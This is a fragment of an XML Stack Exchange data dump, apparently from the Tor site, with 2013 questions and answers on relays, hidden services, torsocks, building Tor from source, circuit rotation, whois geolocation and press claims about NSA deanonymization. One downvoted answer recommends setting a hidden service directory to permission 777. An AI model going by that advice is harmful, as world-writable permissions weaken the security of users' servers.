tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can meet Tor users in &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_Relay_Chat&quot; rel=&quot;nofollow&quot;&gt;Internet Relay Chat&lt;/a&gt;: &lt;code&gt;irc.oftc.net:6667&lt;/code&gt; &lt;strong&gt;#tor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;We will sharing with you the sources of Tor by any accessible for you hosting.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-10-05T04:32:57.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="350" PostTypeId="2" ParentId="123" CreationDate="2013-10-05T05:58:02.563" Score="6" Body="&lt;p&gt;Read this article if you are interested: &#xA;&lt;a href=&quot;http://mancoosi.org/~abate/hidden-ssh-service-tor&quot;&gt;Pietro Abate homepage: hidden ssh service via tor / 16 October 2010&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://en.wikipedia.org/wiki/Comparison_of_proxifiers&quot;&gt;proxifier&lt;/a&gt; called &lt;a href=&quot;http://code.google.com/p/torsocks/&quot;&gt;torsocks&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# torsocks ssh user@host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Torsocks allows you to use most SOCKS-friendly applications in a safe way with Tor.&#xA;It ensures that DNS requests are handled safely and explicitly rejects UDP traffic from the application you're using.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-10-05T05:58:02.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="351" PostTypeId="1" CreationDate="2013-10-05T06:11:11.443" Score="5" ViewCount="2213" Body="&lt;p&gt;Given that Silk Road was just shut down, an article was published stating that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Can't Always Keep You Safe; Just Ask Silk Road ... careful traffic monitoring and a little math you can figure out who connects to what on Tor. - &lt;a href=&quot;http://www.pcmag.com/article/print/316516&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another article - nearly a month older, claims something similar:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not Even Tor Is Safe From The NSA’s Prying Eyes ... The problem boils down to this – around 90% of Tor users are still using older software which can be hacked. The good news is that the latest version of Tor, version 2.4, isn’t believed to be ‘crackable’ by the NSA, as it uses something called elliptical curve Diffie-Hellman ciphers that are thought to be beyond its capabilities at the moment. - &lt;a href=&quot;http://siliconangle.com/blog/2013/09/09/not-even-tor-is-safe-from-the-nsas-prying-eyes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additionally, another states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor still helps here: you can target individuals with browser exploits, but if you attack too many users, somebody's going to notice. So even if the NSA aims to surveil everyone, everywhere, they have to be a lot more selective about which Tor users they spy on. - &lt;a href=&quot;https://blog.torproject.org/blog/yes-we-know-about-guardian-article&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are the articles referenced above true in their claims?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I can gather from this is that safety boils down to the habits of a user themselves. Are they using https, what information are they sharing online, what associations are being made.. etc. &lt;a href=&quot;https://tor.stackexchange.com/questions/331/how-can-i-protect-myself-against-gchqs-attempts-to-de-anonymise-me&quot;&gt;Related.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming all safety precautions are taken into consideration by the&#xA;user, how safe are Tor users - regarding anonymity?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does Tor still present a threat to the NSA?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-07-02T01:39:28.163" Title="How safe are Tor users?" Tags="|anonymity|security|attacks|deanonymization|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="352" PostTypeId="1" AcceptedAnswerId="421" CreationDate="2013-10-05T06:19:53.140" Score="8" ViewCount="787" Body="&lt;p&gt;I've always wondered why Tor uses a server-based model of content storage rather than a Freenet-style, distributed, encrypted, plausible-denial model.  It seems that it would be much more robust and secure, almost like an anonymous BitTorrent, if that's possible.  Is this a future goal?  Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2016-11-10T09:52:29.440" Title="Freenet distributed hosting model: Could it be ported to Tor?" Tags="|onion-services|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="353" PostTypeId="2" ParentId="352" CreationDate="2013-10-05T06:29:27.213" Score="9" Body="&lt;p&gt;Tor isn't a content-storage system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is an anonymous communications system.  As such, it facilitates communication, not storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even hidden services are about communication.  They allow you to talk to services such as a hidden SSH server, hidden mail server, or a hidden HTTP server.  Anything that does TCP, really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor could, however, be used to &lt;em&gt;build&lt;/em&gt; an anonymous, distributed, resilient, working storage system on top.  Maybe somebody will.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-05T07:02:30.850" LastActivityDate="2013-10-05T07:02:30.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="354" PostTypeId="2" ParentId="166" CreationDate="2013-10-05T06:48:53.213" Score="1" Body="&lt;p&gt;Probably you should look at &quot;build from source - way&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. simle script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@onion:/usr/src/tor# cat /etc/crontab&#xA;5  5    * * *   anonymous       /bin/bash /usr/src/tor/buildscript.sh&#xA;&#xA;root@onion:/usr/src/tor# cat buildscript.sh &#xA;#!/bin/bash&#xA;&#xA;if [ ! -e &quot;tor&quot; ]; then&#xA;        git clone https://git.torproject.org/tor.git &#xA;        cd tor&#xA;else&#xA;        cd tor&#xA;        make clean&#xA;        git pull&#xA;fi&#xA;&#xA;./autogen.sh&#xA;./configure&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nowadays, there are plenty of options from configure are enabled by default, you need no much more motions. Just install dependencies dev's packages. &lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2013-10-15T07:25:55.853" LastActivityDate="2013-10-15T07:25:55.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="355" PostTypeId="1" AcceptedAnswerId="369" CreationDate="2013-10-05T07:12:16.683" Score="9" ViewCount="600" Body="&lt;p&gt;When I am setting up a tor relay, one option is to determine the contact information as an email address. Is it secure considering information harvesting by NSA for instance or would be better to hide it? &lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="266" LastEditDate="2013-10-06T12:00:43.420" LastActivityDate="2013-10-06T12:00:43.420" Title="Is it secure to set the contact information when building up a Tor relay?" Tags="|relays|security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="356" PostTypeId="1" CreationDate="2013-10-05T07:16:31.140" Score="6" ViewCount="1050" Body="&lt;p&gt;Why is it still required have two open ports, &lt;strong&gt;DirPort&lt;/strong&gt; and &lt;strong&gt;OrPort&lt;/strong&gt;, for a relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine such a situation. A Tor user with &lt;em&gt;unlimited network traffic&lt;/em&gt; and with that kind great bandwidth stay behind a &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_address_translation&quot; rel=&quot;nofollow&quot;&gt;NAT router&lt;/a&gt; without the ability to forward two ports, or e.g. &lt;em&gt;no external IP address&lt;/em&gt; in the provider's VPN configuration, or public modern &lt;em&gt;Wi-Fi cafe&lt;/em&gt;, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is obvious that the anonymity of a relay operator, while browsing, is much better than the client's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be enabled by &lt;em&gt;default&lt;/em&gt; for high-bandwidth connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I point out the possibility of incoming traffic to such a middle-relay? I'm just fortuitously found for myself, that the onion hidden service isn't required in any open ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same way, with &lt;strong&gt;only one hop&lt;/strong&gt;, not a three hops, any relay behind the NAT router would share its bandwidth with the network. That means, the bandwidth of the whole network will grow 100 times and the anonymity of such clients-middle-relays will grow!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Complexity of code for this is +100 lines at maximum.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current state is: 5,000 relays vs 500,000 clients, 1 x 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;Middle-relay&quot;, I mean &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="288" LastEditDate="2013-10-07T02:08:09.003" LastActivityDate="2013-10-08T01:01:15.863" Title="Why isn't there any such option - middle-relay behind NAT?" Tags="|relays|bandwidth|network-health|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="357" PostTypeId="2" ParentId="355" CreationDate="2013-10-05T07:20:07.537" Score="2" Body="&lt;p&gt;All the information about relays are public and everyone can see it on &lt;a href=&quot;https://atlas.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; (&lt;a href=&quot;https://atlas.torproject.org/#details/9695DFC35FFEB861329B9F1AB04C46397020CE31&quot; rel=&quot;nofollow&quot;&gt;Like this one&lt;/a&gt;). It's good to have contact information there (specially if you're running an exit relay), in case something goes wrong and someone needs to contact you, but of course it's not required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you set up a new account over Tor, if you've concerns. &lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-10-05T07:20:07.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="358" PostTypeId="2" ParentId="343" CreationDate="2013-10-05T07:27:18.020" Score="2" Body="&lt;p&gt;It's quite easy I think. Let's say that you have a Freenet node installed, and are connected to some network (Strangers or Friends). The URL for accessing your node is &lt;code&gt;http://&lt;code&gt;127.0.0.1&lt;/code&gt;:8888&lt;/code&gt;. If you were running Tor on the same machine, you would just set up a hidden service in your torrc file with that as the HiddenServicePort. But running both Freenet and Tor on the same machine is unwise. Better is running both on VMs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://freenetproject.org/documentation.html&quot; rel=&quot;nofollow&quot;&gt;https://freenetproject.org/documentation.html&lt;/a&gt; for more about Freenet.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-05T07:27:18.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="359" PostTypeId="2" ParentId="355" CreationDate="2013-10-05T07:35:03.400" Score="2" Body="&lt;p&gt;The email address is optional but good to have there if someone needs to contact you about the relay. The address will be harvested and receive spam so you might not want to use your primary address. &lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-10-05T07:35:03.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="360" PostTypeId="2" ParentId="356" CreationDate="2013-10-05T07:54:37.967" Score="3" Body="&lt;p&gt;I'm not sure if I understand your question correctly, but if you can't have any incoming connection then you can't run a relay. A non-exit relay has to be able to send/receive data within Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt; which is the correct setting for a non-exit relay means it will accept any connection in and out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running a non-exit relay, &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;it eventually becomes a middle node&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you're talking about every-user-a-relay, you should read &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#EverybodyARelay&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-10-05T07:54:37.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="361" PostTypeId="1" AcceptedAnswerId="366" CreationDate="2013-10-05T07:56:00.697" Score="5" ViewCount="6099" Body="&lt;p&gt;Say I don't ever click the &quot;New Identity&quot; button, but just have the regular browser bundle running for some days. I'm guessing my identity will change since nodes are not always up, but does Tor enforce creating new routes at some interval? (If so, how often?)&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2013-10-05T08:27:22.670" Title="If I have tor running for a while, how often will my &quot;identity&quot; change?" Tags="|anonymity|" AnswerCount="3" CommentCount="2" ClosedDate="2013-10-14T06:55:57.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="362" PostTypeId="1" CreationDate="2013-10-05T08:06:55.633" Score="3" ViewCount="461" Body="&lt;p&gt;Is there any technical limit for scalability by lowest bandwidth rate limit or any curve x = number of nodes, y = minimal bandwidth limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What settings are optimal for huge amount of small middle relays?&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-10-05T09:12:27.643" Title="What is the lowest bandwidth rate limit required for a normal middle relay?" Tags="|relays|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="363" PostTypeId="2" ParentId="361" CreationDate="2013-10-05T08:10:29.247" Score="4" Body="&lt;p&gt;Short answer: 10mins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: I quote from &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChangePaths&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor will reuse the same circuit for new TCP streams for 10 minutes,&#xA;  as long as the circuit is working fine. (If the circuit fails, Tor&#xA;  will switch to a new circuit immediately.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;But note that a single TCP stream (e.g. a long IRC connection) will&#xA;  stay on the same circuit forever -- we don't rotate individual streams&#xA;  from one circuit to the next. Otherwise an adversary with a partial&#xA;  view of the network would be given many chances over time to link you&#xA;  to your destination, rather than just one chance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also please see &quot;&lt;a href=&quot;https://tor.stackexchange.com/questions/262/for-how-long-does-a-circuit-stay-alive&quot;&gt;For how long does a circuit stay alive?&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-05T08:10:29.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="364" PostTypeId="2" ParentId="356" CreationDate="2013-10-05T08:18:35.417" Score="5" Body="&lt;p&gt;Right now, Tor depends on the fact that all clients and all servers can contact all servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you add relays that are not reachable from the Internet because they are behind NAT for instance, this will no longer be true.  This would making arguing about Tor's security properties way harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody would have to come up with a design and its implications would have to be studied in detail before such a change could be made.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-05T08:18:35.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="365" PostTypeId="2" ParentId="361" CreationDate="2013-10-05T08:19:10.910" Score="1" Body="&lt;p&gt;&lt;strong&gt;Your identity will change every 10 minutes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor will reuse the same circuit for new TCP streams for 10 minutes, as long as the circuit is working fine. (If the circuit fails, Tor will switch to a new circuit immediately.)But note that a single TCP stream (e.g. a long IRC connection) will stay on the same circuit forever -- we don't rotate individual streams from one circuit to the next. Otherwise an adversary with a partial view of the network would be given many chances over time to link you to your destination, rather than just one chance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Text from Tor FAQ&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-10-05T08:19:10.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="366" PostTypeId="2" ParentId="361" CreationDate="2013-10-05T08:27:22.670" Score="4" Body="&lt;p&gt;First of all, Tor builds new circuits regularly - that has been covered in &lt;a href=&quot;https://tor.stackexchange.com/questions/262/for-how-long-does-a-circuit-stay-alive&quot;&gt;For how long does a circuit stay alive?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the New-Identity button in the Tor Browser Bundle does more than just rotate to a new, unused circuit.  It also tries to clear cookies and maybe more in order to make your future requests unlinkable to your previous web visits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That property you don't get at all just by waiting for some time.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-05T08:27:22.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="367" PostTypeId="2" ParentId="362" CreationDate="2013-10-05T08:39:14.580" Score="2" Body="&lt;p&gt;Not that there's a technical bandwidth limit but it's probably not gonna be helpful for the network if you run a relay with less than 100KB/s bandwidth. For that it simply slows the network down. You can add as many relay as you want, as long as you configure the &lt;code&gt;MyFamily&lt;/code&gt; correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have less than 100KB/s bandwidth, you may consider running a &lt;a href=&quot;https://www.torproject.org/docs/faq#RelayOrBridge&quot; rel=&quot;nofollow&quot;&gt;bridge relay&lt;/a&gt;. (there's no need to set &lt;code&gt;MyFamily&lt;/code&gt; for bridges)&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-10-05T09:12:27.643" LastActivityDate="2013-10-05T09:12:27.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="368" PostTypeId="1" AcceptedAnswerId="410" CreationDate="2013-10-05T10:24:49.987" Score="7" ViewCount="302" Body="&lt;p&gt;I was editing an &lt;em&gt;IT Security&lt;/em&gt; &lt;a href=&quot;https://security.stackexchange.com/q/42751/30521&quot;&gt;stack exchange question&lt;/a&gt; to add geolocation information to a Tor question and I noticed that one of the 10 hard coded directory authorities is ambiguous about its location:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is &lt;strong&gt;Faravahar&lt;/strong&gt; of &lt;code&gt;./src/or/config.c&lt;/code&gt; at &lt;code&gt;Line 859&lt;/code&gt; hosted in&#xA;  &lt;em&gt;Mauritius&lt;/em&gt; as implied by &lt;a href=&quot;http://torstatus.blutmagie.de/cgi-bin/whois.pl?ip=154.35.32.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor whois&lt;/a&gt; or in &lt;em&gt;Washington D.C.&lt;/em&gt; as implied by &lt;a href=&quot;http://www.iplocation.net/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;standard geolocation services&lt;/a&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This could of course just be the usual differences between the location of a NIC registrar and an actual server; but then why is &lt;strong&gt;Faravahar (154.35.32.5)&lt;/strong&gt; the only hard coded node using a registrar not of the node's hosting country? I'm curious.&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2013-10-08T13:13:50.677" Title="Why does hard coded node 'Faravahar' have a different geolocation (USA) than registrar (Mauritius)?" Tags="|source-code|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="369" PostTypeId="2" ParentId="355" CreationDate="2013-10-05T10:28:10.860" Score="5" Body="&lt;p&gt;Email information is publicly available so you'd better use a special email address for your relay. Either set up a fresh one (optionally via Tor) or check if your email provider gives the opportunity to set up email aliases. This way you can handle better spam bots. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email contact is useful in case someone wants to reach you and in general is the kindest way to run a relay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up no email contact will not keep you safe from a surveillance service, as the one you stated. There will always exist other legal or not, sophisticated or not ways for such a state's service to find out the relay operator. Examples : asking (legally or not) your hosting provider, monitoring (legally or not) incoming ssh connections to you relay etc.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-10-05T11:54:28.570" LastActivityDate="2013-10-05T11:54:28.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="370" PostTypeId="2" ParentId="352" CreationDate="2013-10-05T13:00:16.050" Score="4" Body="&lt;p&gt;I believe you want is Tahoe-LAFS configured to use Tor. Some time ago I read something (on Tails Dev/Liberation Tech?) on Jacob and other hacker working to bring Tahoe to Tails.&lt;/p&gt;&#xA;" OwnerUserId="277" LastActivityDate="2013-10-05T13:00:16.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="371" PostTypeId="2" ParentId="368" CreationDate="2013-10-05T15:12:46.577" Score="4" Body="&lt;p&gt;I would say that &lt;em&gt;154.35.32.5&lt;/em&gt; is located in the US, most probably DC area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at &lt;code&gt;whois 154.35.32.5&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% This is the AfriNIC Whois server.&#xA;&#xA;% Note: this output has been filtered.&#xA;&#xA;% Information related to '154.35.0.0 - 154.35.255.255'&#xA;&#xA;inetnum:        154.35.0.0 - 154.35.255.255&#xA;netname:        NET-154-35-0-0&#xA;descr:          __________________________&#xA;descr:          This block is allocated to an organization in the ARIN&#xA;descr:          region. Please query whois.arin.net for more&#xA;descr:          information on the registrant.&#xA;descr:          __________________________&#xA;country:        MU&#xA;org:            ORG-AFNC1-AFRINIC&#xA;admin-c:        TEAM-AFRINIC&#xA;tech-c:         TEAM-AFRINIC&#xA;status:         ALLOCATED UNSPECIFIED&#xA;mnt-by:         AFRINIC-HM-MNT&#xA;source:         AFRINIC # Filtered&#xA;parent:         154.0.0.0 - 154.255.255.255&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;country: MU&lt;/code&gt; is where the &lt;a href=&quot;http://torstatus.blutmagie.de/cgi-bin/whois.pl?ip=154.35.32.5&quot; rel=&quot;nofollow&quot;&gt;Tor whois&lt;/a&gt; get their location from. While usually correct, this specific &lt;code&gt;/16&lt;/code&gt; seems to have been sold (see the &lt;code&gt;descr&lt;/code&gt; lines).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see further info when calling &lt;code&gt;whois --host whois.arin.net 154.35.32.5&lt;/code&gt; as suggested in the whois above, which yields that this &lt;code&gt;/16&lt;/code&gt; has been sold to  PSINet, Inc. in DC.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NetRange:       154.35.0.0 - 154.35.255.255&#xA;CIDR:           154.35.0.0/16&#xA;OriginAS:       AS174&#xA;NetName:        COGENT-154-35-16&#xA;NetHandle:      NET-154-35-0-0-1&#xA;Parent:         NET-154-0-0-0-0&#xA;NetType:        Direct Assignment&#xA;RegDate:        1992-02-05&#xA;Updated:        2011-05-27&#xA;Ref:            http://whois.arin.net/rest/net/NET-154-35-0-0-1&#xA;&#xA;OrgName:        PSINet, Inc.&#xA;OrgId:          PSI-2&#xA;Address:        1015 31st St NW&#xA;City:           Washington&#xA;StateProv:      DC&#xA;PostalCode:     20007&#xA;Country:        US&#xA;RegDate:        1990-10-08&#xA;Updated:        2009-01-26&#xA;Ref:            http://whois.arin.net/rest/org/PSI-2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the Tor whois does not do this step of recursion, it displays Mauritius and confuses you.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-10-05T15:12:46.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="372" PostTypeId="2" ParentId="351" CreationDate="2013-10-05T16:33:25.120" Score="5" Body="&lt;p&gt;That's a tough one.  Anyway, here goes my personal take on this story:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't have any extra sources --- all we can do is read &lt;a href=&quot;http://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption&quot;&gt;The Guardian's article&lt;/a&gt; or the one published by the &lt;a href=&quot;http://www.washingtonpost.com/world/national-security/secret-nsa-documents-show-campaign-against-tor-encrypted-network/2013/10/04/610f08b6-2d05-11e3-8ade-a1f23cda135e_story.html&quot;&gt;Washington Post&lt;/a&gt;, like everybody else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though we have no way to be certain whether the documents referenced in the article are, indeed, genuine, I still highly recommend you read the articles and their referenced documents for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming they are genuine and not a marvelous piece of misinformation, it seems that Tor does provide anonymity.  The Guardian quoted from one of the presentations: &lt;em&gt;We will never be able to de-anonymize all Tor users all the time.&lt;/em&gt;  Another document labels Tor as &quot;&lt;em&gt;the King of high-secure, low-latency Internet Anonymity&lt;/em&gt;&quot;, with &quot;&lt;em&gt;no contenders for the throne in waiting&lt;/em&gt;&quot;.  Warm, fuzzy feeling all around. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also interesting to see that the best attacks mentioned in the presentations seem to attack the Browser behind Tor, and not Tor directly.  And that using the Tor Browser Bundle seems to provide better anonymity than using your own combination of browser with just a bare Tor client.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-05T16:33:25.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="373" PostTypeId="2" ParentId="248" CreationDate="2013-10-05T17:41:06.913" Score="1" Body="&lt;p&gt;If you have time you can contribute collecting information about the censorship that you are suffering. Read the following links where you can find how to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/OONI/censorshipwiki&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/OONI/censorshipwiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cs.kau.se/philwint/pdf/foci2013.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.cs.kau.se/philwint/pdf/foci2013.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ooni.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://ooni.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the idea is to run a program (censorship analyzer) behind a censorship zone to collect data regarding which 'services' from the Tor network are not reachable. The main services who should be tested are: (1) probe to access to the official website (www.torproject.org) (2) try to download the consensus from the Directory Authorities (3) try to connect to the relays and (4) try to connect to the bridges. Later, after executing the previous tests from within a censored zone, the censorship analyzers should create a report and transfer it to some developer's DB.&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="266" LastEditDate="2013-10-06T11:23:15.280" LastActivityDate="2013-10-06T11:23:15.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="374" PostTypeId="2" ParentId="329" CreationDate="2013-10-05T18:27:13.830" Score="-1" Body="&lt;p&gt;Check in the logs (&lt;code&gt;/var/log/tor/log&lt;/code&gt;) if your LAMP and/or Tor has access to create a folder for your hidden service. You can create it manually (that is the best in that case) and then &lt;code&gt;chmod&lt;/code&gt; it to 777 an &lt;code&gt;chown&lt;/code&gt; to &lt;code&gt;debian-tor&lt;/code&gt;. That should solve all your problems !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(answer written based on comments)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-10-05T18:27:13.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
